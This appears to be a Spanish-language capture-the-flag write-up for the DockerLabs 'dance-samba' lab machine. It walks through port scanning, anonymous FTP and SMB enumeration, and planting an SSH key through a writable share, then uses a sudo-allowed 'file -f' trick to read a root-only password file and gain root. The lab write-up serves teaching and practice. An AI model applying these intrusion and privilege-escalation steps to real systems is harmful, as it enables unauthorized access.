




Vamos a desplegar la maquina vulnerable.

```
> sudo bash auto_deploy.sh dance-samba.tar
[sudo] contraseña para caan31:
```



DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es → 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Haremos un escaneo profundo de los puertos abiertos de esta máquina.

```
> sudo nmap -sS -sSC -Pn --min-rate 5000 -p- -vvv --open 172.17.0.2 -oN Puertos
```

```
raw packets sent: 85530 (21844MB) | rcvd: 85530 (21821MB)
> cat Puertos
File: Puertos
1 # Nmap 7.95 scan initiated Sat Oct 18 14:16:09 2025 as: /usr/lib/nmap
2 Nmap scan report for 172.17.0.2
3 Host is up, received arp-response (0.0000070s latency).
4 Scanned at 2025-10-18 14:16:10 CEST for 28s
5 Not shown: 65531 closed tcp ports (reset)
6 PORT      STATE SERVICE      REASON
7 21/tcp    open  ftp          syn-ack ttl 64
8 | ftp-anon: Anonymous FTP login allowed (FTP code 230)
9 |_-rw-r--r--  1 0      0      69 Aug 19  2024 nota.txt
10 | ftp-syst:
11 |   STAT:
12 |   FTP server status:
13 |     Connected to ::ffff:172.17.0.1
14 |     Logged in as ftp
15 |     TYPE: ASCII
16 |     No session bandwidth limit
17 |     Session timeout in seconds is 300
18 |     Control connection is plain text
19 |     Data connections will be plain text
20 |     At session startup, client count was 4
21 |     vsFTPD 3.0.5 - secure, fast, stable
22 |_End of status
23 22/tcp    open  ssh          syn-ack ttl 64
24 | ssh-hostkey:
25 |   256 a2:4e:66:7d:e5:2e:cf:df:54:39:b2:08:a9:97:79:21 (ECDSA)
26 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAYNTYAAAAIbmlzdHAYNTY
27 |   256 92:bf:d3:b8:20:ac:76:08:5b:93:d7:69:ef:e7:59:e1 (ED25519)
28 |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBnq5Qj1E5W0sDQlUkhGJ3A5DhC7WSV
29 139/tcp   open  netbios-ssn  syn-ack ttl 64
30 445/tcp   open  microsoft-ds syn-ack ttl 64
31 MAC Address: 02:42:AC:11:00:02 (Unknown)
32
33 Host script results:
34 | smb2-security-mode:
35 |   3:1:1:
36 |_   Message signing enabled but not required
37 | smb2-time:
38 |   date: 2025-10-18T12:16:11
39 |_   start_date: N/A
40 | p2p-conficker:
41 |   Checking for Conficker.C or higher...
42 |   Check 1 (port 21783/tcp): CLEAN (Couldn't connect)
43 |   Check 2 (port 9604/tcp): CLEAN (Couldn't connect)
44 |   Check 3 (port 58197/udp): CLEAN (Failed to receive data)
45 |   Check 4 (port 18315/udp): CLEAN (Timeout)
46 |_   0/4 checks are positive: Host is CLEAN or ports are blocked
47 |_clock-skew: 0s
```

Vemos que cuenta con varios servicios abiertos, lo primero que haremos será ver el .txt que nos indica el escaneo.

Vemos una posible contraseña de un usuario.

```
> ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 3.0.5)
Name (172.17.0.2:caan31): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||59098|)
150 Here comes the directory listing.
-rw-r--r--  1 0      0      69 Aug 19  2024 nota.txt
226 Directory send OK.
ftp> get nota.txt
local: nota.txt remote: nota.txt
229 Entering Extended Passive Mode (|||35564|)
150 Opening BINARY mode data connection for nota.txt (69 bytes).
100% |*****| 69      2.19 MiB/s   00:00 ETA
226 Transfer complete.
69 bytes received in 00:00 (71.30 KiB/s)
ftp> exit
221 Goodbye.
> cat nota.txt
File: nota.txt
1
2 I don't know what to do with Macarena, she's obsessed with donald.
3
```

Ahora vamos a hacer una enumeración del servicio smb

```
> enum4linux -a 172.17.0.2
```

Nos encontramos con varias pistas, los servicios compartidos y un usuario, macarena

```
( Share Enumeration on 172.17.0.2 )
smbXcli_negprot_smb1_done: No compatible protocol selected by server.

  Sharename      Type      Comment
  -----
  print$         Disk      Printer Drivers
  macarena       Disk
  IPC$           IPC       IPC Service (bbdc01807be6 server (Samba, Ubuntu))
```

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1001 Unix User\macarena (Local User)
```

Ahora hacemos una enumeración para ver que permisos tiene esta usuaria en la carpeta. Vemos que puede leer y escribir.

```
smbmap -H 172.17.0.2 -u macarena -p donald

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[+] Checking for open ports...
[*] Detected 1 hosts serving SMB
[+] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[/] Enumerating shares ...
[-] Enumerating shares ...
[+] Enumerating shares ...
[+] Enumerating shares ...
[/] Enumerating shares ...
[-] Enumerating shares ...

[+] IP: 172.17.0.2:445 Name: 172.17.0.2 Status: NULL Session
  Disk      Permissions      Comment
  -----
  print$    READ ONLY        Printer Drivers
  macarena  READ, WRITE
  IPC$      NO ACCESS        IPC Service (bbdc01807be6 server (S
```

Listamos y vemos que tiene un .txt así que lo pasaremos a nuestro host y lo miraremos

```
> smbclient //172.17.0.2/macarena -U macarena
Password for [WORKGROUP\macarena]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0 Sat Oct 18 14:21:17 2025
..               D          0 Sat Oct 18 14:21:17 2025
.cache           DH          0 Mon Aug 19 18:40:39 2024
user.txt         N          33 Mon Aug 19 18:20:25 2024
.profile         H         807 Mon Aug 19 18:18:51 2024
.bashrc          H        3771 Mon Aug 19 18:18:51 2024
.bash_logout     H         220 Mon Aug 19 18:18:51 2024
.bash_history    H           5 Mon Aug 19 19:26:02 2024

48614564 blocks of size 1024. 16472856 blocks available
smb: \> get user.txt
getting file \user.txt of size 33 as user.txt (16,1 KiloBytes/sec) (average 16,1 KiloBytes/sec)
smb: \>
```

Es la flag del usuario.

```
> cat user.txt
```

	File: user.txt
1	ef65ad731de0ebabcb371fa3ad4972f1

Ya que tenemos permisos para escribir, vamos a añadirle una clave rsa para poder conectarnos por ssh. Así que crearemos primero el directorio con mkdir.

```
smb: \> mkdir .ssh
smb: \> cd .ssh\
```

Ahora desde nuestro host vamos a generar una clave ssh

```
> ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/home/caan31/.ssh/id_rsa):
Enter passphrase for "/home/caan31/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/caan31/.ssh/id_rsa
Your public key has been saved in /home/caan31/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:8+ecfnBH+6sr94Z3y+fQrH5Iogd2cccC/snbrAs71BXo caan31@maleducada
The key's randomart image is:
+--[RSA 2048]--+
|      .        |
|      o        |
|      o        |
|     . + .     |
|    S  + +.    |
|   o+ B E+o   |
|  +.*.Xo++   |
|  +==+*==    |
|  +B0@0*     |
+--[SHA256]--+
```

Una vez lo tengamos, vamos a dirigirnos en donde nos la genero y la copiaremos en el directorio donde estamos trabajando, para mas comodidad.

```
> cd .ssh
> ls
id_rsa  id_rsa.pub  known_hosts  known_hosts.old
> cp id_rsa id_rsa.pub /home/caan31/Documentos/DockerLabs/dance-samba
```

Vamos a leer la clave publica y la vamos a copiar con el nombre authorized\_keys

```
> ls
auto_deploy.sh  dance-samba.tar  id_rsa  id_rsa.pub  nota.txt  Puertos  user.txt
> cat id_rsa.pub
```

	File: id_rsa.pub
1	ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDMdBLLPgyqp9sRVIwTt3yLx087sEK32CxaDIvc0v+l7SgwjUTEQuY07/Gp2FOCQpRkhTbrJyHbdJQ3xd+fqs5ArjSMVGte7a7/TDtaGVsJVDCIXWTBosBXGo2JcYBF9XC/Ad3C+UJ6vUxKub5aa2LAp7+uXLhbYDvYJQpI+dv1b0vbiGudcIfH0EAiPP5y5B2d3vW1uYT4uqzG28Z5HHaT5ZpX0HAuNLNy/aYcmQPmb2wtm8N+r3phYaTQMTZ+oV8lDcNAgttYlJQmI91Tv/Bgd/BCLiYcjWC0a++ESHFWXle5HOMVe7NVzDyPF3Moy6ur3Z8tiME9D66fCwM2Z caan31@maleducada

```
> cat id_rsa.pub > authorized_keys
```

Ahora vuelta al servicio smb, vamos a subir los dos archivos que hemos hecho

```
smb: \.ssh\> put id_rsa.pub
putting file id_rsa.pub as \.ssh\id_rsa.pub (389,6 kb/s) (average 389,6 kb/s)
smb: \.ssh\> put authorized_keys
putting file authorized_keys as \.ssh\authorized_keys (194,8 kb/s) (average 259,8 kb/s)
smb: \.ssh\> █
```

Al listar, se debería de ver así.

```
smb: \.ssh\> ls
.                               D           0   Sat Oct 18 14:24:29 2025
..                              D           0   Sat Oct 18 14:22:23 2025
authorized_keys                A         399   Sat Oct 18 14:24:29 2025
id_rsa.pub                     A         399   Sat Oct 18 14:23:59 2025

48614564 blocks of size 1024. 16472340 blocks available
smb: \.ssh\> █
```

Ahora tendríamos que poder ingresar con la clave privada que tenemos.

```
> ssh -i id_rsa macarena@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Aug 19 18:40:39 2024 from 172.17.0.1
macarena@bbdc01807be6:~$ █
```

Explorando un poco encontramos un cifrado.

```
macarena@bbdc01807be6:~$ cd /home/
macarena@bbdc01807be6:/home$ ls
ftp macarena secret
macarena@bbdc01807be6:/home$ cd secret/
macarena@bbdc01807be6:/home/secret$ ls
hash
macarena@bbdc01807be6:/home/secret$ cat hash
MMZVM522LBFHWSXJYYWG3KW05MVQTT2MQZDS6K2IE6T2===
macarena@bbdc01807be6:/home/secret$ █
```

Si lo vemos nos da una contraseña.

Magic

Depth 3 ☐ Intensive mode ☐ Extensive language support

Crib (known plaintext string or regex)

48 1

Output

Recipe (click to load)	Result snippet
From_Base32('A-Z2-7', false)	supersecurepassword
From_Base64('A-Za-z0-9+/'	
'=', true, false)	

Vemos que es la contraseña de macarena, así que ejecutamos `sudo -l` para ver si permisos de sudo en algun binario, vemos que en file.

```
macarena@bbdc01807be6:/home/secret$ sudo -l
[sudo] password for macarena:
Matching Defaults entries for macarena on bbdc01807be6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User macarena may run the following commands on bbdc01807be6:
    (ALL : ALL) /usr/bin/file
```

Explorando un poco más encontramos un txt donde solo tiene permisos sudo.

```
macarena@bbdc01807be6:/opt$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Aug 19 2024 .
drwxr-xr-x 1 root root 4096 Oct 18 14:15 ..
-rw----- 1 root root 16 Aug 19 2024 password.txt
```

Con ayuda de gtfobins, vemos como podemos aprovechar este binario.

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files.

```
LFILE=file_to_read
sudo file -f $LFILE
```

Ejecutamos los códigos y vemos que tenemos la contraseña de root.

```
macarena@bbdc01807be6:/opt$ LFILE=password.txt
macarena@bbdc01807be6:/opt$ sudo /usr/bin/file -f $LFILE
root:rooteable2: cannot open `root:rooteable2' (No such file or directory)
```

Ahora somos root y podemos ver los ficheros que tiene, así como la flag de su servidor.

```
macarena@bbdc01807be6:/opt$ su root
Password:
root@bbdc01807be6:/opt# whoami
root
root@bbdc01807be6:/opt# cd
root@bbdc01807be6:~# ls
root.txt  true_root.txt
root@bbdc01807be6:~# cat root.txt
It's not that easy, first root.
root@bbdc01807be6:~# cat true_root.txt
efb6984b9b0eb57451aca3f93c8ce6b7
root@bbdc01807be6:~#
```